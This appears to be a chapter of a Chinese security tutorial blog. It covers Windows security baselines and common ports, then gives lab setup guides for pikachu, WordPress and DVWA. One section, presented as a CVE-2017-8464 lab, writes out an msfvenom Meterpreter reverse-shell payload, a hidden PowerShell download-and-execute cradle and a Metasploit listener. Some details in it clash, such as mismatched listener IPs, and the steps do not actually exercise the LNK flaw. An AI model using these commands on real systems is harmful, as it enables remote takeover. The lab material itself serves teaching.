⑥.由于Windows Server 2016 默认没有安装.NET Framework 3.5，需要手动指定离线包进行安装（开始前已准备好.Net Framework 3.5，添加进来安装即可）
⑦.安装完成后可以在开始菜单 - Windows 管理工具中看到Windows Server 更新服务、Internet Information Services(IIS)管理器
十四、Windows基线安全
- 基线的含义
- 什么是安全基线？
每个组织都会面临安全威胁。 但是，对不同的组织来说，最担心的安全威胁类型可能截然不同。 例如，电子商务公司可能侧重于保护其面向 Internet 的网页，而医院可能侧重于保护病人的机密信息。 所有组织共有的需求是使其应用和设备保持安全。 这些设备必须符合由组织定义的安全标准（或安全基线）。
安全基线是 Microsoft 建议的一组配置设置，并说明了这些设置的安全影响。 这些设置基于来自 Microsoft 安全工程团队、产品组、合作伙伴和客户的反馈。 - 为什么需要安全基线？
安全基线是为客户提供的基本权益，因为它们将来自 Microsoft、合作伙伴和客户的专业知识综合在一起。
例如，Windows10 有超过 3000 个组策略设置，其中不包括超过 1800 个 Internet Explorer 11 设置。 在这 4800 个设置中，只有一部分与安全相关。 尽管 Microsoft 提供关于不同安全功能的广泛指南，但浏览每个指南可能需要很长时间。 你必须自行确定每个设置的安全影响。 然后，你还需要确定每个设置的相应值。
在现代组织中，安全威胁格局不断发展，IT 专业人员和决策者必须跟上安全威胁，对安全设置进行必要的更改，以帮助缓解这些威胁。 为了实现更快的部署并更轻松地管理 Microsoft 产品，Microsoft 为客户提供了可使用易耗格式的安全基线，例如组策略对象备份。 - 基线原则
我们的建议遵循一种简化且高效的基线定义方法。 该方法的基础实质上是：
基线专为管理良好的、注重安全的组织而设计，标准最终用户没有管理权限。
基线仅在缓解当前安全威胁且不会导致比它们缓解的风险更糟糕的操作问题时才强制实施设置。
基线仅在授权用户可能设置为不安全状态时强制执行默认值：
①.如果非管理员可以设置不安全状态，请强制执行默认设置。
②.如果设置不安全的状态需要管理权限，则仅当错误消息管理员可能选择不当时才强制执行默认设置。 - 如何使用安全基线？
你可以将安全基线用于：
①.确保用户和设备配置设置符合基线。
②.设定配置设置。 例如，可以使用组策略、Microsoft Endpoint Configuration Manager或Microsoft Intune使用基线中指定的设置值来配置设备。
十五、Windows常见网络端口
- HTTP与HTTPS
80： http，首先进行 tcp的三次握手，然后客户端请求页面的内容，服务器回应，客户端请求页面的布局、特效，服务器回应。不发布网站直接关闭
443端口： https，是提供加密和通过安全端口传输的另一种HTTP。不发布网站直接关闭，如：VisualSVN Server是一种SVN服务端，会占用443端口，VMware Workstation 的后台wmware-hostd.exe会占用443端口。
- HTTP与HTTPS的区别
①.https需要到CA申请证书
②.http是超文本传输协议，信息是明文传输，https是进行过SSL加密后的传输协议
③.http用的端口是80，https用的端口是443
④.http的连接很简单，是无状态的；https的协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议 - HTTPS的工作原理
①.客户端发起https请求
②.服务器端配置
③.传送证书
④.客户端解析证书
⑤.传送加密文件
⑥.服务端解密信息
⑦.传输加密后的信息
⑧.客户端解密信息
- DNS服务端口
端口53： DNS服务端口。
nslookup www.any.com：检查DNS服务器，用于排除错误
常见故障：DNS污染：比如访问谷歌却返回了百度的IP
DNS劫持：钓鱼网站
- DHCP（动态主机配置协议）服务
DHCP（动态主机配置协议）服务： 接收用67端口，发送用68端口
ipconfig /renew
配置完了需要renew更新一下
常见故障：DHCP欺骗
-
SMTP简单路由协议
端口25： 简单邮件传输协议，不需要邮件就尽量把端口关掉。
常见故障：垃圾邮件
-
POP3协议
POP3（110端口），全名为“Post Office Protocol - Version 3”，即“邮局协议版本3”。是TCP/IP协议族中的一员，由RFC1939 定义。本协议主要用于支持使用客户端远程管理在服务器上的电子邮件。提供了SSL加密的POP3协议被称为POP3S。
POP 协议支持“离线”邮件处理。其具体过程是：邮件发送到服务器上，电子邮件客户端调用邮件客户机程序以连接服务器，并下载所有未阅读的电子邮件。这种离线访问模式是一种存储转发服务，将邮件从邮件服务器端送到个人终端机器上，一般是PC机或 MAC。一旦邮件发送到 PC 机或MAC上，邮件服务器上的邮件将会被删除。但POP3邮件服务器大都可以“只下载邮件，服务器端并不删除”，也就是改进的POP3协议。
总结：POP3使用了SSL加密传输的称为POP3s协议，处于邮件客户端的接收端
常见故障：邮件可能会被黑客截取 -
IMAP协议
因特网信息访问协议（缩写为IMAP，以前称作交互邮件访问协议）是一个应用层协议，用来从本地邮件客户端（如Microsoft Outlook、Outlook Express、Foxmail、Mozilla Thunderbird）访问远程服务器上的邮件。
143端口，与pop3类似的邮件协议。处于邮件客户端的接收端
以下截图是对应协议使用了SSL加密传输后所使用的端口：
-
FTP协议（21端口）
文件传输协议（File Transfer Protocol，FTP）是用于在网络上进行文件传输的一套标准协议，它工作在 OSI 模型的第七层， TCP 模型的第四层， 即应用层， 使用 TCP 传输而不是 UDP， 客户在和服务器建立连接前要经过一个“三次握手”的过程， 保证客户与服务器之间的连接是可靠的， 而且是面向连接， 为数据传输提供可靠保证。
FTP允许用户以文件操作的方式（如文件的增、删、改、查、传送等）与另一主机相互通信。然而， 用户并不真正登录到自己想要存取的计算机上面而成为完全用户， 可用FTP程序访问远程资源， 实现用户往返传输文件、目录管理以及访问电子邮件等等， 即使双方计算机可能配有不同的操作系统和文件存储方式。
常见故障：21端口匿名登录，配置的时候出现的问题 -
Telnet协议（23端口）与远程桌面（3389端口）
Telnet：23端口，远程控制协议。
远程桌面：3389端口。一般情况下需要在注册表中把3389端口改为其他端口。通过Telnet演变而来。
-
RPC（远程过程调用）服务（135端口）
RPC是远程过程调用（Remote Procedure Call）的缩写形式。SAP系统RPC调用的原理其实很简单，有一些类似于三层构架的C/S系统，第三方的客户程序通过接口调用SAP内部的标准或自定义函数，获得函数返回的数据进行处理后显示或打印。
常见故障：冲击波病毒
-
NetBIOS协议（139端口）
NetBIOS，为网上基本输入输出系统（英语：Network Basic Input/Output System）的缩写，它提供了OSI模型中的会话层服务，让在不同计算机上运行的不同程序，可以在局域网中，互相连线，以及分享数据。严格来说，NetBIOS不是一种网上协议，而是应用程序接口（API）。较古老的操作系统，使用IEEE 802.2与IPX/SPX协议，可以使用NetBIOS Frames协议或NetBIOS over IPX/SPX协议来运作。现代操作系统，多数都使用TCP/IP协议，则可透过NetBIOS over TCP/IP协议来相互通信。 -
SMB协议
它能被用于Web连接和客户端与服务器之间的信息沟通，运行于NBT（NetBIOS over TCP/UDP）上，使用137、138、139端口。其中137、138端口是UDP端口，139是TCP端口。
常见故障：永恒之蓝病毒
十六、Windows震网三代漏洞实验
- CVE-2017-8464漏洞简介
2017年6月13日，微软官方发布编号为CVE-2017-8464的漏洞公告，官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞，黑客可以通过U盘、网络共享等途径触发漏洞，完全控制用户系统，安全风险高危。
- CVE-2017-8464漏洞原理
Windows系统使用二进制解析 .LNK文件，当恶意二进制代码被系统识别执行时即可实现远程代码执行，由于是在explorer.exe进程中运行，所以 load 进内存时与当前用户具有相同权限。
攻击者利用这一解析过程将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中)，受害者使用powershell解析 .LNK 文件后即被黑客所控制。 - 漏洞影响范围
该漏洞影响从Win7到最新的Windows 10操作系统，漏洞同样影响操作系统， 但不影响XP 2003系统。
-
复现环境
攻击机：kali 192.168.152.139
靶机：windows7 64位 /Windows server 2012 R2 192.168.152.133
两个虚拟机肯定要相互ping通，靶机关闭防火墙和杀毒软件 -
漏洞复现
注意：接下来命令中配置的IP地址均为kali-Linux-2022.2的IP地址，后面配置的端口要与第一步配置的端口保持一致，端口不一致会出现问题
①.kali下生成一个反弹的ps1的shell，文件名为search.ps1在目录/opt下
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.152.139 lport=5555 -f psh-reflection > /opt/search.ps1
②.切换到/opt目录下，然后查看到已生成了search.ps1 的powershell 后门，移动search.ps1至/var/www/html目录下
cd /opt
ls
mv search.ps1 /var/www/html
③.启动apache服务，然后使用本地浏览器登录看apache是否启动成功
service apache2 start
④.物理机浏览器访问
192.168.152.139/search.ps1
⑤.靶机建立快捷方式，右键-新建-快捷方式，以下命令为远程下载并执行
powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.152.139/search.ps1’);test.ps1”
⑥.kali进入msf，创建监听反弹
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.50.133
set lport 5555
- CVE-2017-8464漏洞怎样解决
对于无法及时更新补丁的主机，我们建议采用如下的方式进行缓解：震网三代LNK文件远程代码执行漏洞（CVE-2017-8464）建议在服务器环境执行以下缓解措施：禁用U盘、网络共享及关闭Webclient Service。请管理员关注是否有业务与上述服务相关并做好恢复准备。Windows搜索远程命令执行漏洞（CVE-2017-8543）关闭Windows Search服务。
十七、Windows安装pikachu靶场
- 环境准备
下载phpstudy（集成了MySQL、PHP、NGINX）：phpstudy
pikachu下载：pikachu - 安装步骤
①.将下载好的pikachu安装包解压后放到phpstudy_pro的www目录下
②.修改phpstudy的网站根目录为pikachu的根目录
③.启动MySQL、NGINX、PHP服务
④.修改数据库的root密码
⑤.创建名为pikachu的数据库
⑥.修改pikachu配置文件正确信息
⑦.使用浏览器访问
127.0.0.1
，显示如下界面表示搭建成功
十八、Windows安装WordPress
- 将下载好的WordPress安装包解压后放到phpstudy_pro的www目录下
- 修改phpstudy的网站根目录为WordPress的根目录
- 启动MySQL、NGINX、PHP服务
- 修改数据库的root密码
- 创建名为WordPress的数据库
- 使用浏览器访问
127.0.0.1
，显示出WordPress的配置界面
- 点击【现在就开始】按钮，然后配置如图所示的相关信息
- 点击【现在就开始】按钮，然后配置如图所示的相关信息，然后【提交】按钮
- 点击【运行安装程序】按钮
- 如下图所示，在文本框中填写相关信息，然后安装WordPress
- 如下图所示，点击【登录】按钮
- 如下图所示，输入用户名和密码，点击【登录】
- 如下图所示，显示仪表盘说明安装成功了
十九、Windows安装DVWA
- 准备环境
下载phpstudy（集成了MySQL、PHP、NGINX）：phpstudy
DVWA下载：DVWA - 安装步骤
①.将下载好的DVWA安装包解压后放到phpstudy_pro的www目录下
②.修改phpstudy的网站根目录为DVWA的根目录
③.启动MySQL、NGINX、PHP服务
④.修改数据库的root密码
⑤.创建名为DVWA的数据库
⑥.修改DVWA的配置文件，如下图所示
⑦.重新启动phpstudy，之后再浏览器中输入127.0.0.1/DVWA回车就会打开DVWA网站，跳转到登录界面
⑧.DVWA默认账户名：admin，默认密码：password。登录之后可以看到它包含了很多类型漏洞练习环境，这时候我们的靶场就搭建成功了
二十、小结
本章详细的介绍了Windows操作系统下的基础知识，包括：Windows的基础命令、Windows用户管理、Windows震网三代漏洞实验、Windows下的靶场搭建等，下一章，会给大家详细介绍Linux系统下的基础知识，敬请期待吧~~~
3449
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
